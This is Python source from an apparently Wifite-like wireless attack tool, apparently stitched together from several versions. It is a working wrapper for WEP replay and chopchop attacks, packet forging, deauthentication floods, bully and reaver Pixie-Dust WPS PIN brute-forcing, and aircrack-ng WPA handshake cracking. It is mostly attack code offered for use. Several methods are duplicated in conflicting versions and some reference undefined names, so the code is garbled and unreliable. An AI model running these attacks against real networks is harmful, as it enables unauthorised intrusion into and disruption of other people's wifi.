replay_file - .Cap file to replay via --arpreplay
'''
# Interface is required at this point
Configuration.initialize()
if Configuration.interface == None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
# Find the appropriate attack enum.
attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth:
cmd.extend(['-1', '0']) # Fake auth, no delay
cmd.extend(['-a', target.bssid])
cmd.extend(['-T', '3']) # Make 3 attempts
if target.essid_known:
cmd.extend(['-e', target.essid])
# Do not specify client MAC address,
# we're trying to fake-authenticate using *our* MAC
elif attack_type == WEPAttackType.replay:
cmd.append('--arpreplay')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.append('--chopchop')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-m', '60']) # Minimum packet length (bytes)
cmd.extend(['-n', '82']) # Maximum packet length
cmd.extend(['-F']) # Automatically choose first packet
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.append('--fragment')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-m', '100']) # Minimum packet length (bytes)
cmd.extend(['-F']) # Automatically choose first packet
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.caffelatte:
cmd.append('--caffe-latte')
cmd.extend(['-b', target.bssid])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.p0841:
cmd.append('--interactive')
cmd.extend(['-b', target.bssid])
cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
cmd.extend(['-t', '1'])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-F']) # Automatically choose first packet
cmd.extend(['-p', '0841'])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac == None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
cmd.append('--cfrag')
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac == None or replay_file == None:
raise Exception(
"Client_mac and Replay_File are required for arp replay")
cmd.append('--arpreplay')
cmd.extend(['-b', target.bssid])
cmd.extend(['-r', replay_file])
cmd.extend(['-F']) # Automatically choose first packet
cmd.extend(['-x', str(Configuration.wep_pps)])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface)
return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
class Bully(Attack):
def __init__(self, target, pixie=False):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.pixie = pixie
self.cmd = [
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4"
]
#self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"])
if self.pixie:
self.cmd.append("--pixiewps")
self.cmd.append(Configuration.interface)
self.bully_proc = None
self.run()
self.stop()
def attack_type(self):
return "Pixie-Dust" if self.pixie else "PIN Attack"
def run(self):
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
# Start bully
self.bully_proc = Process(self.cmd,
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
self.get_status())
time.sleep(0.5)
except KeyboardInterrupt as e:
self.stop()
raise e
except Exception as e:
self.stop()
raise e
if self.crack_result is None:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}Failed{W}\n")
def running_time(self):
return int(time.time() - self.start_time)
def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ...
pixie_re = re.compile(r".*Running pixiewps with the information").match(line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password'
pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
if pin_re: self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
if key_re: self.cracked_key = key_re.group(1)
#warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(
airodump_target.essid,
airodump_target.bssid,
self.cracked_pin,
self.cracked_key)
return True
else:
return False
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() == None:
self.pid.interrupt()
def __del__(self):
self.stop()
class Aireplay(Thread):
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc.
client_mac - MAC address of an associated client.
'''
super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" %
attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
self.cmd = Aireplay.get_aireplay_command(self.target,
attack_type,
client_mac=client_mac,
replay_file=replay_file)
self.pid = Process(self.cmd,
stdout=open(self.output_file, 'a'),
stderr=Process.devnull(),
cwd=Configuration.temp())
self.start()
def is_running(self):
return self.pid.poll() is None
def stop(self):
''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
def run(self):
while self.pid.poll() is None:
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file & clear output file
with open(self.output_file, "r+") as fid:
lines = fid.read()
fid.seek(0)
fid.truncate()
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(
1)
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
matches = offset_re.match(line)
if matches:
self.status = "Generating Xor (%s)" % matches.group(1)
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
pass
elif self.attack_type == WEPAttackType.fragment:
# TODO: Parse fragment output, update self.status
# 01:08:15 Waiting for a data packet...
# 01:08:17 Sending fragmented packet
# 01:08:37 Still nothing, trying another packet...
# XX:XX:XX Trying to get 1500 bytes of a keystream
# XX:XX:XX Got RELAYED packet!!
# XX:XX:XX Thats our ARP packet!
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
pass
else: # Replay, forged replay, etc.
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(
r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)"
)
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
else:
self.status = "Replaying packet @ %s/sec" % pps
pass
def __del__(self):
self.stop()
@staticmethod
def get_aireplay_command(target,
attack_type,
client_mac=None,
replay_file=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
replay_file - .Cap file to replay via --arpreplay
'''
# Interface is required at this point
Configuration.initialize()
if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ["aireplay-ng"]
cmd.append("--ignore-negative-one")
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
# Find the appropriate attack enum.
attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth:
cmd.extend([
"--fakeauth",
"30", # Fake auth every 30 seconds
"-Q", # Send re-association packets
"-a",
target.bssid
])
if target.essid_known:
cmd.extend(["-e", target.essid])
elif attack_type == WEPAttackType.replay:
cmd.extend([
"--arpreplay", "-b", target.bssid, "-x",
str(Configuration.wep_pps)
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.extend([
"--chopchop",
"-b",
target.bssid,
"-x",
str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.extend([
"--fragment",
"-b",
target.bssid,
"-x",
str(Configuration.wep_pps),
"-m",
"100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0:
# Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack")
cmd.extend([
"--caffe-latte", "-b", target.bssid, "-h",
target.clients[0].station
])
elif attack_type == WEPAttackType.p0841:
cmd.extend([
"--arpreplay",
"-b",
target.bssid,
"-c",
"ff:ff:ff:ff:ff:ff",
"-x",
str(Configuration.wep_pps),
"-F", # Automatically choose first packet
"-p",
"0841"
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac is None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
cmd.extend(["--cfrag", "-h", client_mac])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None:
raise Exception(
"Client_mac and Replay_File are required for arp replay")
cmd.extend([
"--arpreplay",
"-b",
target.bssid,
"-h",
client_mac,
"-r",
replay_file,
"-F", # Automatically choose first packet
"-x",
str(Configuration.wep_pps)
])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface)
return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor') or \
fil.startswith('fragment-') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a',
bssid, # Target MAC
'-h',
station_mac, # Client MAC
'-k',
'192.168.1.2', # Dest IP
'-l',
'192.168.1.100', # Source IP
'-y',
xor_file, # Read PRNG from .xor file
'-w',
forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
@staticmethod
def deauth(target_bssid,
essid=None,
client_mac=None,
num_deauths=None,
timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a",
target_bssid, # Target AP
"-D" # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
if proc.running_time() >= timeout:
proc.interrupt()
time.sleep(0.2)
@staticmethod
def fakeauth(target, timeout=5, num_attempts=3):
'''
Tries a one-time fake-authenticate with a target AP.
Params:
target (py.Target): Instance of py.Target
timeout (int): Time to wait for fakeuth to succeed.
num_attempts (int): Number of fakeauth attempts to make.
Returns:
(bool): True if fakeauth succeeds, otherwise False
'''
cmd = [
'aireplay-ng',
'-1',
'0', # Fake auth, no delay
'-a',
target.bssid,
'-T',
str(num_attempts)
]
if target.essid_known:
cmd.extend(['-e', target.essid])
cmd.append(Configuration.interface)
fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())
timer = Timer(timeout)
while fakeauth_proc.poll() is None and not timer.ended():
time.sleep(0.1)
if fakeauth_proc.poll() is None or timer.ended():
fakeauth_proc.interrupt()
return False
output = fakeauth_proc.stdout()
return 'association successful' in output.lower()
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'-i', Configuration.interface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-K', '1', # pixie-dust attack
'-a', # Automatically restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = '0) initializing'
time_since_last_step = 0
while True:
time.sleep(1)
Color.clear_line()
Color.p('\r{+} {C}WPS pixie-dust attack{W} ')
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
return False
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
# Display status of Pixie-Dust attack
Color.p('{W}%s{W}' % step)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
f = open(key_file, "r")
key = f.read().strip()
f.close()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'-i',
Configuration.interface,
'-b',
self.target.bssid,
'-c',
self.target.channel,
'-K',
'1', # pixie-dust attack
'-a', # Automatically restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command,
stdout=stdout_write,
stderr=Process.devnull())
pin = None
step = '0) initializing'
while True:
time.sleep(1)
Color.clear_line()
Color.p('\r{+} {C}WPS pixie-dust attack{W} ')
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl(
'\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
return False
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
# TODO: Argument for --ignore-rate-limit
'''
Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' +
' this kind of failure in the future')
'''
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
Configuration.wps_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' %
fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
timeout_count)
break
# Display status of Pixie-Dust attack
Color.p('{W}%s{W}' % step)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
